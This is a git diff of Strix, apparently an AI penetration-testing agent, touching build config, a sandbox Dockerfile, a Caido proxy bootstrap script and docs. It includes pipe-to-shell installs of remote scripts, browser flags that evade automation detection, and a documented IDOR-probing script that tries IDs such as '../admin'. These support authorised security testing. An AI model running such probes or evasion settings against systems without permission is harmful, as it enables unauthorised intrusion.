10 Commits

Author SHA1 Message Date
bearsyankees 4f10ae40d7 whitebox follow up: better wiki 2026-03-31 16:44:48 -04:00
bearsyankees c0243367a8 grep 2026-03-23 21:38:30 -04:00
bearsyankees 970bdda6c9 better sg 2026-03-23 21:09:22 -04:00
bearsyankees 861e2f7683 feat: enhance resolve_diff_scope_context to handle skipped diff-scope sources and add related tests 2026-03-23 20:52:26 -04:00
bearsyankees 21f89dd6bd feat: implement append_note_content function and update related tests 2026-03-23 20:36:45 -04:00
bearsyankees 7a06df8e05 Merge remote-tracking branch 'origin/main' into better-whitebox
# Conflicts:
#	strix/agents/StrixAgent/strix_agent.py
#	strix/agents/StrixAgent/system_prompt.jinja
2026-03-23 16:46:35 -04:00
bearsyankees 69a59890ff Feat: expanded source aware testing 2026-03-23 16:43:58 -04:00
bearsyankees b67712beec Merge origin/main into better-whitebox 2026-03-19 19:36:17 -06:00
bearsyankees f65a97f6b2 STR-39: expand source-aware whitebox workflows and wiki memory 2026-03-19 19:33:16 -06:00
bearsyankees afb85c21b1 feat: Implement diff-scope functionality for pull requests and CI integration 2026-02-16 23:16:04 -05:00
217 changed files with 26880 additions and 16114 deletions
+4 -4
View File
@@ -30,15 +30,15 @@ jobs:
with:
python-version: '3.12'
- uses: astral-sh/setup-uv@v5
- uses: snok/install-poetry@v1
- name: Build
shell: bash
run: |
uv sync --frozen
uv run pyinstaller strix.spec --noconfirm
poetry install --with dev
poetry run pyinstaller strix.spec --noconfirm
VERSION=$(grep '^version' pyproject.toml | head -1 | sed 's/.*"\(.*\)"/\1/')
VERSION=$(poetry version -s)
mkdir -p dist/release
if [[ "${{ runner.os }}" == "Windows" ]]; then
+12
View File
@@ -39,6 +39,18 @@ pip-delete-this-directory.txt
.pydevproject
.settings/
# Testing
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
htmlcov/
# FastAPI
.env.local
.env.development.local
+2 -6
View File
@@ -11,17 +11,14 @@ repos:
# MyPy for static type checking
- repo: https://github.com/pre-commit/mirrors-mypy
rev: v1.19.1
rev: v1.16.0
hooks:
- id: mypy
additional_dependencies: [
types-requests,
types-python-dateutil,
types-Pygments,
pydantic,
fastapi,
pytest,
"openai-agents[litellm]==0.14.6",
]
args: [--install-types, --non-interactive]
@@ -34,7 +31,6 @@ repos:
- id: check-toml
- id: check-merge-conflict
- id: check-added-large-files
args: ['--maxkb=1024']
- id: debug-statements
- id: check-case-conflict
- id: check-docstring-first
@@ -48,7 +44,7 @@ repos:
# Additional Python code quality checks
- repo: https://github.com/asottile/pyupgrade
rev: v3.21.2
rev: v3.20.0
hooks:
- id: pyupgrade
args: [--py312-plus]
+4 -4
View File
@@ -8,7 +8,7 @@ Thank you for your interest in contributing to Strix! This guide will help you g
- Python 3.12+
- Docker (running)
- [uv](https://docs.astral.sh/uv/) (for dependency management)
- Poetry (for dependency management)
- Git
### Local Development
@@ -24,8 +24,8 @@ Thank you for your interest in contributing to Strix! This guide will help you g
make setup-dev
# or manually:
uv sync
uv run pre-commit install
poetry install --with=dev
poetry run pre-commit install
```
3. **Configure your LLM provider**
@@ -36,7 +36,7 @@ Thank you for your interest in contributing to Strix! This guide will help you g
4. **Run Strix in development mode**
```bash
uv run strix --target https://example.com
poetry run strix --target https://example.com
```
## 📚 Contributing Skills
+32 -12
View File
@@ -1,4 +1,4 @@
.PHONY: help install dev-install format lint type-check security check-all clean pre-commit setup-dev dev
.PHONY: help install dev-install format lint type-check test test-cov clean pre-commit setup-dev
help:
@echo "Available commands:"
@@ -8,63 +8,83 @@ help:
@echo ""
@echo "Code Quality:"
@echo " format - Format code with ruff"
@echo " lint - Lint code with ruff"
@echo " lint - Lint code with ruff and pylint"
@echo " type-check - Run type checking with mypy and pyright"
@echo " security - Run security checks with bandit"
@echo " check-all - Run all code quality checks"
@echo ""
@echo "Testing:"
@echo " test - Run tests with pytest"
@echo " test-cov - Run tests with coverage reporting"
@echo ""
@echo "Development:"
@echo " pre-commit - Run pre-commit hooks on all files"
@echo " clean - Clean up cache files and artifacts"
install:
uv sync --no-dev
poetry install --only=main
dev-install:
uv sync
poetry install --with=dev
setup-dev: dev-install
uv run pre-commit install
poetry run pre-commit install
@echo "✅ Development environment setup complete!"
@echo "Run 'make check-all' to verify everything works correctly."
format:
@echo "🎨 Formatting code with ruff..."
uv run ruff format .
poetry run ruff format .
@echo "✅ Code formatting complete!"
lint:
@echo "🔍 Linting code with ruff..."
uv run ruff check . --fix
poetry run ruff check . --fix
@echo "📝 Running additional linting with pylint..."
poetry run pylint strix/ --score=no --reports=no
@echo "✅ Linting complete!"
type-check:
@echo "🔍 Type checking with mypy..."
uv run mypy strix/
poetry run mypy strix/
@echo "🔍 Type checking with pyright..."
uv run pyright strix/
poetry run pyright strix/
@echo "✅ Type checking complete!"
security:
@echo "🔒 Running security checks with bandit..."
uv run bandit -r strix/ -c pyproject.toml
poetry run bandit -r strix/ -c pyproject.toml
@echo "✅ Security checks complete!"
check-all: format lint type-check security
@echo "✅ All code quality checks passed!"
test:
@echo "🧪 Running tests..."
poetry run pytest -v
@echo "✅ Tests complete!"
test-cov:
@echo "🧪 Running tests with coverage..."
poetry run pytest -v --cov=strix --cov-report=term-missing --cov-report=html
@echo "✅ Tests with coverage complete!"
@echo "📊 Coverage report generated in htmlcov/"
pre-commit:
@echo "🔧 Running pre-commit hooks..."
uv run pre-commit run --all-files
poetry run pre-commit run --all-files
@echo "✅ Pre-commit hooks complete!"
clean:
@echo "🧹 Cleaning up cache files..."
find . -type d -name "__pycache__" -exec rm -rf {} + 2>/dev/null || true
find . -type d -name ".pytest_cache" -exec rm -rf {} + 2>/dev/null || true
find . -type d -name ".mypy_cache" -exec rm -rf {} + 2>/dev/null || true
find . -type d -name ".ruff_cache" -exec rm -rf {} + 2>/dev/null || true
find . -type d -name "htmlcov" -exec rm -rf {} + 2>/dev/null || true
find . -name "*.pyc" -delete 2>/dev/null || true
find . -name ".coverage" -delete 2>/dev/null || true
@echo "✅ Cleanup complete!"
dev: format lint type-check
dev: format lint type-check test
@echo "✅ Development cycle complete!"
+2 -1
View File
@@ -32,8 +32,9 @@
</div>
> [!TIP]
> **New!** Strix integrates seamlessly with GitHub Actions and CI/CD pipelines. Automatically scan for vulnerabilities on every pull request and block insecure code before it reaches production - [Get started with no setup required](https://app.strix.ai).
> **New!** Strix integrates seamlessly with GitHub Actions and CI/CD pipelines. Automatically scan for vulnerabilities on every pull request and block insecure code before it reaches production!
---
+42 -28
View File
@@ -12,7 +12,14 @@ RUN useradd -m -s /bin/bash pentester && \
echo "pentester ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers && \
touch /home/pentester/.hushlogin
RUN mkdir -p /home/pentester/tools /app/certs && \
RUN mkdir -p /home/pentester/configs \
/home/pentester/wordlists \
/home/pentester/output \
/home/pentester/scripts \
/home/pentester/tools \
/app/runtime \
/app/tools \
/app/certs && \
chown -R pentester:pentester /app/certs /home/pentester/tools
RUN apt-get update && \
@@ -32,8 +39,11 @@ RUN apt-get update && \
nodejs npm pipx \
libcap2-bin \
gdb \
libnss3-tools \
chromium fonts-liberation
tmux \
libnss3 libnspr4 libdbus-1-3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 libatspi2.0-0 \
libxcomposite1 libxdamage1 libxfixes3 libxrandr2 libgbm1 libxkbcommon0 libpango-1.0-0 libcairo2 libasound2t64 \
fonts-unifont fonts-noto-color-emoji fonts-freefont-ttf fonts-dejavu-core ttf-bitstream-vera \
libnss3-tools
RUN setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip $(which nmap)
@@ -60,7 +70,11 @@ USER root
RUN cp /app/certs/ca.crt /usr/local/share/ca-certificates/ca.crt && \
update-ca-certificates
RUN curl -LsSf https://astral.sh/uv/install.sh | env UV_INSTALL_DIR=/usr/local/bin sh
RUN curl -sSL https://install.python-poetry.org | POETRY_HOME=/opt/poetry python3 - && \
ln -s /opt/poetry/bin/poetry /usr/local/bin/poetry && \
chmod +x /usr/local/bin/poetry && \
python3 -m venv /app/venv && \
chown -R pentester:pentester /app/venv /opt/poetry
USER pentester
WORKDIR /tmp
@@ -75,7 +89,7 @@ RUN nuclei -update-templates
RUN pipx install arjun && \
pipx install dirsearch && \
pipx inject dirsearch 'setuptools<81' && \
pipx inject dirsearch setuptools && \
pipx install wafw00f
ENV NPM_CONFIG_PREFIX=/home/pentester/.npm-global
@@ -85,14 +99,7 @@ RUN npm install -g retire@latest && \
npm install -g eslint@latest && \
npm install -g js-beautify@latest && \
npm install -g @ast-grep/cli@latest && \
npm install -g tree-sitter-cli@latest && \
npm install -g agent-browser@0.26.0
ENV AGENT_BROWSER_EXECUTABLE_PATH=/usr/bin/chromium
ENV AGENT_BROWSER_USER_AGENT="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
ENV AGENT_BROWSER_ARGS="--disable-blink-features=AutomationControlled,--no-first-run,--no-default-browser-check,--lang=en-US"
ENV AGENT_BROWSER_SCREENSHOT_DIR=/workspace/.agent-browser-screenshots
RUN /home/pentester/.npm-global/bin/agent-browser doctor --offline --quick
npm install -g tree-sitter-cli@latest
RUN set -eux; \
TS_PARSER_DIR="/home/pentester/.tree-sitter/parsers"; \
@@ -164,12 +171,12 @@ RUN apt-get autoremove -y && \
apt-get autoclean && \
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
ENV PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/.venv/bin:$PATH"
ENV VIRTUAL_ENV="/app/.venv"
ENV PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/venv/bin:$PATH"
ENV VIRTUAL_ENV="/app/venv"
ENV POETRY_HOME="/opt/poetry"
WORKDIR /app
ARG CAIDO_VERSION=0.56.0
RUN ARCH=$(uname -m) && \
if [ "$ARCH" = "x86_64" ]; then \
CAIDO_ARCH="x86_64"; \
@@ -178,29 +185,36 @@ RUN ARCH=$(uname -m) && \
else \
echo "Unsupported architecture: $ARCH" && exit 1; \
fi && \
wget -O caido-cli.tar.gz "https://caido.download/releases/v${CAIDO_VERSION}/caido-cli-v${CAIDO_VERSION}-linux-${CAIDO_ARCH}.tar.gz" && \
wget -O caido-cli.tar.gz https://caido.download/releases/v0.48.0/caido-cli-v0.48.0-linux-${CAIDO_ARCH}.tar.gz && \
tar -xzf caido-cli.tar.gz && \
chmod +x caido-cli && \
rm caido-cli.tar.gz && \
mv caido-cli /usr/local/bin/
ENV STRIX_SANDBOX_MODE=true
ENV PYTHONPATH=/app
ENV REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt
ENV SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt
RUN mkdir -p /workspace && chown -R pentester:pentester /workspace /app
USER pentester
RUN python3 -m venv /app/.venv && \
/app/.venv/bin/pip install --no-cache-dir caido-sdk-client && \
/app/.venv/bin/pip install --no-cache-dir -r /home/pentester/tools/jwt_tool/requirements.txt && \
printf '%s\n' \
'#!/bin/bash' \
'exec /app/.venv/bin/python /home/pentester/tools/jwt_tool/jwt_tool.py "$@"' \
> /home/pentester/.local/bin/jwt_tool && \
chmod +x /home/pentester/.local/bin/jwt_tool
COPY pyproject.toml poetry.lock ./
COPY --chown=pentester:pentester strix/tools/proxy/caido_api.py /opt/strix-python/caido_api.py
ENV PYTHONPATH=/opt/strix-python
USER pentester
RUN poetry install --no-root --without dev --extras sandbox
RUN poetry run playwright install chromium
RUN /app/venv/bin/pip install -r /home/pentester/tools/jwt_tool/requirements.txt && \
ln -s /home/pentester/tools/jwt_tool/jwt_tool.py /home/pentester/.local/bin/jwt_tool
RUN echo "# Sandbox Environment" > README.md
COPY strix/__init__.py strix/
COPY strix/config/ /app/strix/config/
COPY strix/utils/ /app/strix/utils/
COPY strix/telemetry/ /app/strix/telemetry/
COPY strix/runtime/tool_server.py strix/runtime/__init__.py strix/runtime/runtime.py /app/strix/runtime/
COPY strix/tools/ /app/strix/tools/
RUN echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH"' >> /home/pentester/.bashrc && \
echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH"' >> /home/pentester/.profile
+92 -4
View File
@@ -47,7 +47,68 @@ fi
sleep 2
echo "Caido is up — host bootstraps the guest token + project via the Python SDK."
echo "Fetching API token..."
TOKEN=""
for attempt in 1 2 3 4 5; do
RESPONSE=$(curl -sL -X POST \
-H "Content-Type: application/json" \
-d '{"query":"mutation LoginAsGuest { loginAsGuest { token { accessToken } } }"}' \
http://localhost:${CAIDO_PORT}/graphql)
TOKEN=$(echo "$RESPONSE" | jq -r '.data.loginAsGuest.token.accessToken // empty')
if [ -n "$TOKEN" ] && [ "$TOKEN" != "null" ]; then
echo "Successfully obtained API token (attempt $attempt)."
break
fi
echo "Token fetch attempt $attempt failed: $RESPONSE"
sleep $((attempt * 2))
done
if [ -z "$TOKEN" ] || [ "$TOKEN" == "null" ]; then
echo "ERROR: Failed to get API token from Caido after 5 attempts."
echo "=== Caido log ==="
cat "$CAIDO_LOG" 2>/dev/null || echo "(no log available)"
exit 1
fi
export CAIDO_API_TOKEN=$TOKEN
echo "Caido API token has been set."
echo "Creating a new Caido project..."
CREATE_PROJECT_RESPONSE=$(curl -sL -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation CreateProject { createProject(input: {name: \"sandbox\", temporary: true}) { project { id } } }"}' \
http://localhost:${CAIDO_PORT}/graphql)
PROJECT_ID=$(echo $CREATE_PROJECT_RESPONSE | jq -r '.data.createProject.project.id')
if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" == "null" ]; then
echo "Failed to create Caido project."
echo "Response: $CREATE_PROJECT_RESPONSE"
exit 1
fi
echo "Caido project created with ID: $PROJECT_ID"
echo "Selecting Caido project..."
SELECT_RESPONSE=$(curl -sL -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation SelectProject { selectProject(id: \"'$PROJECT_ID'\") { currentProject { project { id } } } }"}' \
http://localhost:${CAIDO_PORT}/graphql)
SELECTED_ID=$(echo $SELECT_RESPONSE | jq -r '.data.selectProject.currentProject.project.id')
if [ "$SELECTED_ID" != "$PROJECT_ID" ]; then
echo "Failed to select Caido project."
echo "Response: $SELECT_RESPONSE"
exit 1
fi
echo "✅ Caido project selected successfully."
echo "Configuring system-wide proxy settings..."
@@ -57,9 +118,9 @@ export https_proxy=http://127.0.0.1:${CAIDO_PORT}
export HTTP_PROXY=http://127.0.0.1:${CAIDO_PORT}
export HTTPS_PROXY=http://127.0.0.1:${CAIDO_PORT}
export ALL_PROXY=http://127.0.0.1:${CAIDO_PORT}
export NO_PROXY=localhost,127.0.0.1
export REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt
export SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt
export CAIDO_API_TOKEN=${TOKEN}
EOF
cat << EOF | sudo tee /etc/environment
@@ -68,7 +129,7 @@ https_proxy=http://127.0.0.1:${CAIDO_PORT}
HTTP_PROXY=http://127.0.0.1:${CAIDO_PORT}
HTTPS_PROXY=http://127.0.0.1:${CAIDO_PORT}
ALL_PROXY=http://127.0.0.1:${CAIDO_PORT}
NO_PROXY=localhost,127.0.0.1
CAIDO_API_TOKEN=${TOKEN}
EOF
cat << EOF | sudo tee /etc/wgetrc
@@ -90,7 +151,34 @@ sudo -u pentester certutil -N -d sql:/home/pentester/.pki/nssdb --empty-password
sudo -u pentester certutil -A -n "Testing Root CA" -t "C,," -i /app/certs/ca.crt -d sql:/home/pentester/.pki/nssdb
echo "✅ CA added to browser trust store"
mkdir -p /workspace/.agent-browser-screenshots
echo "Starting tool server..."
cd /app
export PYTHONPATH=/app
export STRIX_SANDBOX_MODE=true
export POETRY_VIRTUALENVS_CREATE=false
export TOOL_SERVER_TIMEOUT="${STRIX_SANDBOX_EXECUTION_TIMEOUT:-120}"
TOOL_SERVER_LOG="/tmp/tool_server.log"
sudo -E -u pentester \
poetry run python -m strix.runtime.tool_server \
--token="$TOOL_SERVER_TOKEN" \
--host=0.0.0.0 \
--port="$TOOL_SERVER_PORT" \
--timeout="$TOOL_SERVER_TIMEOUT" > "$TOOL_SERVER_LOG" 2>&1 &
for i in {1..10}; do
if curl -s "http://127.0.0.1:$TOOL_SERVER_PORT/health" | grep -q '"status":"healthy"'; then
echo "✅ Tool server healthy on port $TOOL_SERVER_PORT"
break
fi
if [ $i -eq 10 ]; then
echo "ERROR: Tool server failed to become healthy"
echo "=== Tool server log ==="
cat "$TOOL_SERVER_LOG" 2>/dev/null || echo "(no log)"
exit 1
fi
sleep 1
done
echo "✅ Container ready"
+14 -6
View File
@@ -41,8 +41,20 @@ Configure Strix using environment variables or a config file.
API key for Perplexity AI. Enables real-time web search during scans for OSINT and vulnerability research.
</ParamField>
<ParamField path="STRIX_DISABLE_BROWSER" default="false" type="boolean">
Disable browser automation tools.
</ParamField>
<ParamField path="STRIX_TELEMETRY" default="1" type="string">
Telemetry toggle. Set to `0`, `false`, `no`, or `off` to disable telemetry (PostHog, Scarf, OTEL).
Global telemetry default toggle. Set to `0`, `false`, `no`, or `off` to disable both PostHog and OTEL unless overridden by per-channel flags below.
</ParamField>
<ParamField path="STRIX_OTEL_TELEMETRY" type="string">
Enable/disable OpenTelemetry run observability independently. When unset, falls back to `STRIX_TELEMETRY`.
</ParamField>
<ParamField path="STRIX_POSTHOG_TELEMETRY" type="string">
Enable/disable PostHog product telemetry independently. When unset, falls back to `STRIX_TELEMETRY`.
</ParamField>
<ParamField path="TRACELOOP_BASE_URL" type="string">
@@ -67,7 +79,7 @@ When remote vars are set, Strix dual-writes telemetry to both local JSONL and th
## Docker Configuration
<ParamField path="STRIX_IMAGE" default="ghcr.io/usestrix/strix-sandbox:1.0.0" type="string">
<ParamField path="STRIX_IMAGE" default="ghcr.io/usestrix/strix-sandbox:0.1.13" type="string">
Docker image to use for the sandbox container.
</ParamField>
@@ -79,10 +91,6 @@ When remote vars are set, Strix dual-writes telemetry to both local JSONL and th
Runtime backend for the sandbox environment.
</ParamField>
<ParamField path="STRIX_MAX_LOCAL_COPY_MB" default="1024" type="integer">
Maximum size (in MB) of a local directory target that Strix will copy into the sandbox file-by-file. Larger targets exit early with a suggestion to use `--mount` instead. Set to `0` to disable the check.
</ParamField>
## Sandbox Configuration
<ParamField path="STRIX_SANDBOX_EXECUTION_TIMEOUT" default="120" type="integer">
+4 -4
View File
@@ -9,7 +9,7 @@ description: "Contribute to Strix development"
- Python 3.12+
- Docker (running)
- [uv](https://docs.astral.sh/uv/)
- Poetry
- Git
### Local Development
@@ -26,8 +26,8 @@ description: "Contribute to Strix development"
make setup-dev
# or manually:
uv sync
uv run pre-commit install
poetry install --with=dev
poetry run pre-commit install
```
</Step>
<Step title="Configure LLM">
@@ -38,7 +38,7 @@ description: "Contribute to Strix development"
</Step>
<Step title="Run Strix">
```bash
uv run strix --target https://example.com
poetry run strix --target https://example.com
```
</Step>
</Steps>
-1
View File
@@ -38,7 +38,6 @@
"llm-providers/vertex",
"llm-providers/bedrock",
"llm-providers/azure",
"llm-providers/novita",
"llm-providers/local"
]
},
-35
View File
@@ -1,35 +0,0 @@
---
title: "Novita AI"
description: "Configure Strix with Novita AI models"
---
[Novita AI](https://novita.ai) provides fast, cost-efficient inference for open-source models via an OpenAI-compatible API.
## Setup
```bash
export STRIX_LLM="openai/moonshotai/kimi-k2.5"
export LLM_API_KEY="your-novita-api-key"
export LLM_API_BASE="https://api.novita.ai/openai"
```
## Available Models
| Model | Configuration |
|-------|---------------|
| Kimi K2.5 | `openai/moonshotai/kimi-k2.5` |
| GLM-5 | `openai/zai-org/glm-5` |
| MiniMax M2.5 | `openai/minimax/minimax-m2.5` |
## Get API Key
1. Sign up at [novita.ai](https://novita.ai)
2. Navigate to **API Keys** in your dashboard
3. Create a new key and copy it
## Benefits
- **Cost-efficient** — Competitive pricing with per-token billing
- **OpenAI-compatible** — Drop-in replacement using `LLM_API_BASE`
- **Large context** — Models support up to 262k token context windows
- **Function calling** — All listed models support tool/function calling
+27 -51
View File
@@ -30,33 +30,23 @@ The agent can take any captured request and replay it with modifications:
## Python Integration
Proxy helpers are available to sandbox Python scripts through the image-baked `caido_api` module. This enables powerful scripted security testing:
All proxy functions are automatically available in Python sessions. This enables powerful scripted security testing:
```python
import asyncio
# List recent POST requests
post_requests = list_requests(
httpql_filter='req.method.eq:"POST"',
page_size=20
)
from caido_api import list_requests, repeat_request, view_request
# View a specific request
request_details = view_request("req_123", part="request")
async def main():
# List recent POST requests
post_requests = await list_requests(
httpql_filter='req.method.eq:"POST"',
first=20,
)
# View a specific request
request_details = await view_request("req_123", part="request")
# Replay with modified payload
response = await repeat_request(
"req_123",
modifications={"body": '{"user_id": "admin"}'},
)
print(response["status"], request_details is not None, len(post_requests.edges))
asyncio.run(main())
# Replay with modified payload
response = repeat_request("req_123", {
"body": '{"user_id": "admin"}'
})
print(f"Status: {response['status_code']}")
```
### Available Functions
@@ -66,42 +56,28 @@ asyncio.run(main())
| `list_requests()` | Query captured traffic with HTTPQL filters |
| `view_request()` | Get full request/response details |
| `repeat_request()` | Replay a request with modifications |
| `list_sitemap()` | Browse the request-tree view of discovered surface |
| `view_sitemap_entry()` | Inspect one sitemap entry + its related requests |
| `send_request()` | Send a new HTTP request |
| `scope_rules()` | Manage proxy scope (allowlist/denylist) |
For one-off arbitrary requests, use shell tooling like `curl` — the
sandbox's `HTTP_PROXY` env routes the traffic through Caido
automatically, so it lands in `list_requests` and can be replayed via
`repeat_request`.
| `list_sitemap()` | View discovered endpoints |
| `view_sitemap_entry()` | Get details for a sitemap entry |
### Example: Automated IDOR Testing
```python
import asyncio
# Get all requests to user endpoints
from caido_api import list_requests, repeat_request
user_requests = list_requests(
httpql_filter='req.path.cont:"/users/"'
)
for req in user_requests.get('requests', []):
# Try accessing with different user IDs
for test_id in ['1', '2', 'admin', '../admin']:
response = repeat_request(req['id'], {
'url': req['path'].replace('/users/1', f'/users/{test_id}')
})
async def main():
user_requests = await list_requests(httpql_filter='req.path.cont:"/users/"')
for edge in user_requests.edges:
req = edge.node.request
scheme = "https" if req.is_tls else "http"
for test_id in ["1", "2", "admin", "../admin"]:
url = f"{scheme}://{req.host}{req.path.replace('/users/1', f'/users/{test_id}')}"
response = await repeat_request(
req.id,
modifications={"url": url},
)
print(req.id, test_id, response["status"])
if response["status"] == "DONE":
print(f"Replay completed for candidate {test_id}")
asyncio.run(main())
if response['status_code'] == 200:
print(f"Potential IDOR: {test_id} returned 200")
```
## Human-in-the-Loop
-35
View File
@@ -15,20 +15,6 @@ strix --target <target> [options]
Target to test. Accepts URLs, repositories, local directories, domains, or IP addresses. Can be specified multiple times.
</ParamField>
<ParamField path="--mount" type="string">
Bind-mount a local directory into the sandbox (read-only) instead of copying it in file-by-file. Use this for large repositories that are too big to stream into the container. Can be specified multiple times.
Strix copies local `--target` directories into the sandbox one file at a time, which stalls on very large trees. When a local target exceeds the copy limit (see `STRIX_MAX_LOCAL_COPY_MB`, default 1024 MB) Strix exits early and asks you to re-run with `--mount`.
<Note>
The mount is read-only to protect your source from accidental modification. This is not a hard security boundary: a root process inside the container can remount it writable, so treat `--mount` as "scan my own code", not as isolation from untrusted code.
</Note>
<Note>
The size pre-flight only covers local directory targets. Remote repositories (cloned at scan time) are not size-checked.
</Note>
</ParamField>
<ParamField path="--instruction" type="string">
Custom instructions for the scan. Use for credentials, focus areas, or specific testing approaches.
</ParamField>
@@ -57,24 +43,6 @@ strix --target <target> [options]
Path to a custom config file (JSON) to use instead of `~/.strix/cli-config.json`.
</ParamField>
<ParamField path="--max-budget-usd" type="number">
Maximum LLM spend in USD for the whole scan, counted cumulatively across the
root agent and every child agent. The budget is checked after each model
response; once the running cost reaches the threshold, the scan stops cleanly
with a `stopped` status (not a failure) and the sandbox is torn down.
Must be greater than `0`. Omit the flag for no limit.
**Limitations**
- The check fires *after* a response is returned, so the final spend can
slightly overshoot the limit by any calls already in flight when the
threshold is crossed (most relevant with several child agents running
concurrently).
- Cost is a best-effort estimate derived from token usage and model pricing;
providers that do not expose priced usage may under-count.
</ParamField>
## Examples
```bash
@@ -95,9 +63,6 @@ strix -n --target ./ --scan-mode quick --scope-mode diff --diff-base origin/main
# Multi-target white-box testing
strix -t https://github.com/org/app -t https://staging.example.com
# Large local repository — bind-mount instead of copying it in
strix --mount ./huge-monorepo
```
## Exit Codes
Generated
+8794
View File
File diff suppressed because it is too large Load Diff
+143 -84
View File
@@ -1,13 +1,10 @@
[project]
[tool.poetry]
name = "strix-agent"
version = "1.0.4"
version = "0.8.3"
description = "Open-source AI Hackers for your apps"
authors = ["Strix <hi@usestrix.com>"]
readme = "README.md"
license = "Apache-2.0"
requires-python = ">=3.12"
authors = [
{ name = "Strix", email = "hi@usestrix.com" },
]
keywords = [
"cybersecurity",
"security",
@@ -32,42 +29,81 @@ classifiers = [
"Programming Language :: Python :: 3.13",
"Programming Language :: Python :: 3.14",
]
dependencies = [
"openai-agents[litellm]==0.14.6",
"pydantic>=2.11.3",
"pydantic-settings>=2.13.0",
"rich",
"docker>=7.1.0",
"textual>=6.0.0",
"requests>=2.32.0",
"cvss>=3.2",
"caido-sdk-client>=0.2.0",
packages = [
{ include = "strix", format = ["sdist", "wheel"] }
]
include = [
"LICENSE",
"README.md",
"strix/agents/**/*.jinja",
"strix/skills/**/*.md",
"strix/**/*.xml",
"strix/**/*.tcss"
]
[project.scripts]
[tool.poetry.scripts]
strix = "strix.interface.main:main"
[dependency-groups]
dev = [
"mypy>=1.16.0",
"ruff>=0.11.13",
"pyright>=1.1.401",
"bandit>=1.8.3",
"pre-commit>=4.2.0",
"pyinstaller>=6.17.0; python_version >= '3.12' and python_version < '3.15'",
"pytest>=8.3",
"pytest-asyncio>=0.24",
]
[tool.poetry.dependencies]
python = "^3.12"
# Core CLI dependencies
litellm = { version = "~1.81.1", extras = ["proxy"] }
tenacity = "^9.0.0"
pydantic = {extras = ["email"], version = "^2.11.3"}
rich = "*"
docker = "^7.1.0"
textual = "^4.0.0"
xmltodict = "^0.13.0"
requests = "^2.32.0"
cvss = "^3.2"
traceloop-sdk = "^0.53.0"
opentelemetry-exporter-otlp-proto-http = "^1.40.0"
scrubadub = "^2.0.1"
[tool.pytest.ini_options]
asyncio_mode = "auto"
# Optional LLM provider dependencies
google-cloud-aiplatform = { version = ">=1.38", optional = true }
# Sandbox-only dependencies (only needed inside Docker container)
fastapi = { version = "*", optional = true }
uvicorn = { version = "*", optional = true }
ipython = { version = "^9.3.0", optional = true }
openhands-aci = { version = "^0.3.0", optional = true }
playwright = { version = "^1.48.0", optional = true }
gql = { version = "^3.5.3", extras = ["requests"], optional = true }
pyte = { version = "^0.8.1", optional = true }
libtmux = { version = "^0.46.2", optional = true }
numpydoc = { version = "^1.8.0", optional = true }
defusedxml = "^0.7.1"
[tool.poetry.extras]
vertex = ["google-cloud-aiplatform"]
sandbox = ["fastapi", "uvicorn", "ipython", "openhands-aci", "playwright", "gql", "pyte", "libtmux", "numpydoc"]
[tool.poetry.group.dev.dependencies]
# Type checking and static analysis
mypy = "^1.16.0"
ruff = "^0.11.13"
pyright = "^1.1.401"
pylint = "^3.3.7"
bandit = "^1.8.3"
# Testing
pytest = "^8.4.0"
pytest-asyncio = "^1.0.0"
pytest-cov = "^6.1.1"
pytest-mock = "^3.14.1"
# Development tools
pre-commit = "^4.2.0"
black = "^25.1.0"
isort = "^6.0.1"
# Build tools
pyinstaller = { version = "^6.17.0", python = ">=3.12,<3.15" }
[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"
[tool.hatch.build.targets.wheel]
packages = ["strix"]
requires = ["poetry-core"]
build-backend = "poetry.core.masonry.api"
# ============================================================================
# Type Checking Configuration
@@ -98,20 +134,34 @@ pretty = true
[[tool.mypy.overrides]]
module = [
"litellm.*",
"tenacity.*",
"numpydoc.*",
"rich.*",
"IPython.*",
"openhands_aci.*",
"playwright.*",
"uvicorn.*",
"jinja2.*",
"textual.*",
"cvss.*",
"docker.*",
"caido_sdk_client.*",
"pydantic_settings.*",
"jwt.*",
"httpx.*",
"gql.*",
"textual.*",
"pyte.*",
"libtmux.*",
"pytest.*",
"cvss.*",
"opentelemetry.*",
"scrubadub.*",
"traceloop.*",
]
ignore_missing_imports = true
disable_error_code = ["import-untyped"]
# Relax strict rules for test files (pytest decorators are not fully typed)
[[tool.mypy.overrides]]
module = ["tests.*"]
disallow_untyped_decorators = false
disallow_untyped_defs = false
# ============================================================================
# Ruff Configuration (Fast Python Linter & Formatter)
@@ -123,6 +173,7 @@ line-length = 100
extend-exclude = [
".git",
".mypy_cache",
".pytest_cache",
".ruff_cache",
"__pycache__",
"build",
@@ -158,6 +209,7 @@ select = [
"PIE", # flake8-pie
"T20", # flake8-print
"PYI", # flake8-pyi
"PT", # flake8-pytest-style
"Q", # flake8-quotes
"RSE", # flake8-raise
"RET", # flake8-return
@@ -195,56 +247,21 @@ ignore = [
]
[tool.ruff.lint.per-file-ignores]
# Lazy imports inside functions to avoid circular dependency with
# strix.telemetry / strix.report.dedupe / cvss.
"strix/tools/notes/tools.py" = ["PLC0415", "TC002"]
"strix/tools/finish/tool.py" = ["PLC0415", "TC002"]
"strix/tools/reporting/tool.py" = ["PLC0415", "TC002"]
"tests/**/*.py" = [
"S106", # Possible hardcoded password
"S108", # Possible insecure usage of temporary file/directory
